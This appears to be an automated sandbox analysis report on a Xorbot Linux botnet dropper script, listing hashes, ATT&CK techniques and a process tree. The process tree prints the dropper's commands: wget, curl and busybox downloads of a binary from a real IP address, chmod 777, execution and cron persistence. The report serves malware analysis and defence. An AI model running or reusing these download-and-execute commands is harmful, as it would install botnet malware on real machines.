xorbot | 703bc61dabb824da3d539d16dc77e4524c08eda72faa12e17fda26395f4360a8

Analysis

max time kernel
149s
max time network
152s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
02-12-2024 15:11

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General

Target

UUA29_bins.sh
Size

10KB
MD5

436845a459c71b19ac21070d4569df28
SHA1

3ae505085c1bad8560b465ce273cbf1acf86e6da
SHA256

703bc61dabb824da3d539d16dc77e4524c08eda72faa12e17fda26395f4360a8
SHA512

82c2920b53776fa210d9c01eb1a2ec4a246466b3ffa34de150e6d1e42e1b4045f09e41cd774739dac237208a820cf1df7e9248576acf56ecd32735654c5a16e3
SSDEEP

192:jo9H3HvHt2qYr7reSUZF6pRVLWW8qiSRVLWW+qiFH3HvHt2qKr7reSwk:jo9XPtF6yqihqiFXPU

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 1 IoCs

botnet trojan

Processes:

resource	yara_rule
behavioral1/files/fstream-1.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmod

pid	Process
1490	chmod

Executes dropped EXE 1 IoCs

Processes:

l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg

ioc	pid	Process
/tmp/l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg	1491	l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg

Renames itself 1 IoCs

Processes:

l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg

pid	Process
1492	l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

Processes:

crontab

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.AgLLvv	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg

description	ioc	Process
File opened for reading	/proc/404/cmdline	l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg
File opened for reading	/proc/1294/cmdline	l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg
File opened for reading	/proc/1591/cmdline	l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg
File opened for reading	/proc/2/cmdline	l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg
File opened for reading	/proc/6/cmdline	l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg
File opened for reading	/proc/25/cmdline	l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg
File opened for reading	/proc/406/cmdline	l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg
File opened for reading	/proc/1278/cmdline	l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg
File opened for reading	/proc/1517/cmdline	l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg
File opened for reading	/proc/32/cmdline	l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg
File opened for reading	/proc/156/cmdline	l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg
File opened for reading	/proc/477/cmdline	l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg
File opened for reading	/proc/1159/cmdline	l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg
File opened for reading	/proc/1231/cmdline	l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg
File opened for reading	/proc/1532/cmdline	l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg
File opened for reading	/proc/81/cmdline	l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg
File opened for reading	/proc/501/cmdline	l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg
File opened for reading	/proc/1053/cmdline	l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg
File opened for reading	/proc/516/cmdline	l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg
File opened for reading	/proc/946/cmdline	l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg
File opened for reading	/proc/1468/cmdline	l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg
File opened for reading	/proc/1542/cmdline	l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg
File opened for reading	/proc/1587/cmdline	l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg
File opened for reading	/proc/10/cmdline	l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg
File opened for reading	/proc/36/cmdline	l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg
File opened for reading	/proc/163/cmdline	l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg
File opened for reading	/proc/1571/cmdline	l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg
File opened for reading	/proc/16/cmdline	l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg
File opened for reading	/proc/1513/cmdline	l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg
File opened for reading	/proc/1567/cmdline	l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg
File opened for reading	/proc/3/cmdline	l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg
File opened for reading	/proc/454/cmdline	l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg
File opened for reading	/proc/1552/cmdline	l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg
File opened for reading	/proc/1572/cmdline	l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg
File opened for reading	/proc/34/cmdline	l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg
File opened for reading	/proc/1518/cmdline	l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg
File opened for reading	/proc/1523/cmdline	l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg
File opened for reading	/proc/1604/cmdline	l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg
File opened for reading	/proc/157/cmdline	l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg
File opened for reading	/proc/1158/cmdline	l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg
File opened for reading	/proc/1583/cmdline	l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg
File opened for reading	/proc/159/cmdline	l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg
File opened for reading	/proc/167/cmdline	l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg
File opened for reading	/proc/1479/cmdline	l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg
File opened for reading	/proc/1004/cmdline	l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg
File opened for reading	/proc/1538/cmdline	l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg
File opened for reading	/proc/1576/cmdline	l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg
File opened for reading	/proc/1596/cmdline	l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg
File opened for reading	/proc/129/cmdline	l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg
File opened for reading	/proc/155/cmdline	l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg
File opened for reading	/proc/197/cmdline	l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg
File opened for reading	/proc/642/cmdline	l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg
File opened for reading	/proc/1564/cmdline	l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg
File opened for reading	/proc/1568/cmdline	l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg
File opened for reading	/proc/483/cmdline	l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg
File opened for reading	/proc/949/cmdline	l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg
File opened for reading	/proc/952/cmdline	l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg
File opened for reading	/proc/1569/cmdline	l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg
File opened for reading	/proc/22/cmdline	l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg
File opened for reading	/proc/78/cmdline	l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg
File opened for reading	/proc/84/cmdline	l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg
File opened for reading	/proc/20/cmdline	l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg
File opened for reading	/proc/1519/cmdline	l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg
File opened for reading	/proc/1565/cmdline	l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg

Writes file to tmp directory 3 IoCs

Malware often drops required files in the /tmp directory.

Processes:

wgetcurlbusybox

description	ioc	Process
File opened for modification	/tmp/l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg	wget
File opened for modification	/tmp/l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg	curl
File opened for modification	/tmp/l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg	busybox

/tmp/UUA29_bins.sh
/tmp/UUA29_bins.sh
1⤵
PID:1473
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1474
- /usr/bin/wget
  wget http://216.126.231.240/bins/l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg
  2⤵
  - Writes file to tmp directory
  PID:1475
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg
  2⤵
  - Writes file to tmp directory
  PID:1482
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg
  2⤵
  - Writes file to tmp directory
  PID:1489
- /bin/chmod
  chmod 777 l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg
  2⤵
  - File and Directory Permissions Modification
  PID:1490
- /tmp/l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg
  ./l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:1491
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1493
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1494
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1495
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1496
- /bin/rm
  rm l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg
  2⤵
  PID:1506
- /usr/bin/wget
  wget http://216.126.231.240/bins/U64O4JdAV1ijXiz9GrfvktdZn6clUcVwBl
  2⤵
  PID:1509

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg

Filesize
98KB

MD5
5141342d0df8699fa32a6b066a0c592e

SHA1
8157673225bd5182f16215e2aa823a25ca2d4fbc

SHA256
54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

SHA512
d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

Download Submit
/var/spool/cron/crontabs/tmp.AgLLvv

Filesize
210B

MD5
55c739e2fed0e7b9cb09ae40e28ee5f0

SHA1
ebde6ee5cc5730d8ce230b107f61f4294de1ca81

SHA256
788a67b76e5470956deda1031f5f10053b3a564e6ee80fc53ec2b0a62869fe07

SHA512
1f33f6283eafe59de4f9d98a2c007bd974d9014f8058266f43cd308845ac49655c2b7061cec27f560a69f800cdf1f983a184dd12b57c265b9b12be0773f7178f

Download Submit